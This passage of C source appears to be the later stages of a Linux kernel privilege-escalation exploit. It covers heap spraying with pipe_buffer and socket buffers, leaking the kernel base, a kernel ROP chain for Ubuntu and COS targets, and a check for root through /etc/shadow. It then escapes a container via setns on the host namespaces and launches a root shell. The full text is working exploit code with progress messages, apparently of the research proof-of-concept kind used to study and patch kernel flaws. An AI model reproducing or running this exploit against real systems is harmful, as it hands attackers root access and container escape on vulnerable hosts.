(read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0) goto err_rmid; printf("[*] Spraying pipe_buffer objects...\n"); for (int i = 0; i < NUM_PIPEFDS; i++) { if (pipe(pipefd[i]) < 0) { perror("[-] pipe"); goto err_rmid; } // Write something to populate pipe_buffer. if (write(pipefd[i][1], "pwn", 3) < 0) { perror("[-] write"); goto err_rmid; } } printf("[*] Leaking and freeing pipe_buffer object...\n"); for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { perror("[-] read"); goto err_rmid; } if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10]; } } #if TARGET_UBUNTU kbase_addr = pipe_buffer_ops - kernels[kernel].anon_pipe_buf_opts; #elif TARGET_COS kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS; #else #error "No target defined" #endif printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops); printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr); if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) { printf("[-] Error kernel base address is incorrect.\n"); goto err_rmid; } printf("\n"); printf("[+] STAGE 4: Kernel code execution\n"); printf("[*] Spraying fake pipe_buffer objects...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); buf = (struct pipe_buffer *)&secondary_buf; buf->ops = kheap_addr + 0x290; ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; #if TARGET_UBUNTU // - RSI points to &buf. ops->release = kbase_addr + kernels[kernel].ops_release; #elif TARGET_COS // - RAX points to &buf->ops. // - RCX points to &buf. ops->release = kbase_addr + OPS_RELEASE; #else #error "No target defined" #endif #if TARGET_UBUNTU build_krop_ubuntu(secondary_buf, kbase_addr, kheap_addr + 0x2B0); #elif TARGET_COS build_krop_cos(secondary_buf, kbase_addr, kheap_addr + 0x2B0); #else #error "No target defined" #endif if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Trigger pipe_release(). printf("[*] Releasing pipe_buffer objects...\n"); for (int i = 0; i < NUM_PIPEFDS; i++) { if (close(pipefd[i][0]) < 0) { perror("[-] close"); goto err_rmid; } if (close(pipefd[i][1]) < 0) { perror("[-] close"); goto err_rmid; } } printf("[*] Checking for root...\n"); if ((fd = open("/etc/shadow", O_RDONLY)) < 0) { printf("[-] Error could not gain root privileges.\n"); goto err_rmid; } close(fd); printf("[+] Root privileges gained.\n"); printf("\n"); printf("[+] STAGE 5: Post-exploitation\n"); printf("[*] Escaping container...\n"); setns(open("/proc/1/ns/mnt", O_RDONLY), 0); setns(open("/proc/1/ns/pid", O_RDONLY), 0); setns(open("/proc/1/ns/net", O_RDONLY), 0); printf("[*] Cleaning up...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { // TODO: Fix next pointer. if (i == fake_idx) continue; if (msgctl(msqid[i], IPC_RMID, NULL) < 0) perror("[-] msgctl"); } for (int i = 0; i < NUM_SOCKETS; i++) { if (close(ss[i][0]) < 0) perror("[-] close"); if (close(ss[i][1]) < 0) perror("[-] close"); } if (close(s) < 0) perror("[-] close"); printf("[*] Popping root shell...\n"); char *args[] = {SHELL, NULL, NULL}; execve(args[0], args, NULL); return 0; err_rmid: for (int i = 0; i < NUM_MSQIDS; i++) { if (i == fake_idx) continue; if (msgctl(msqid[i], IPC_RMID, NULL) < 0) perror("[-] msgctl"); } err_no_rmid: return 1; }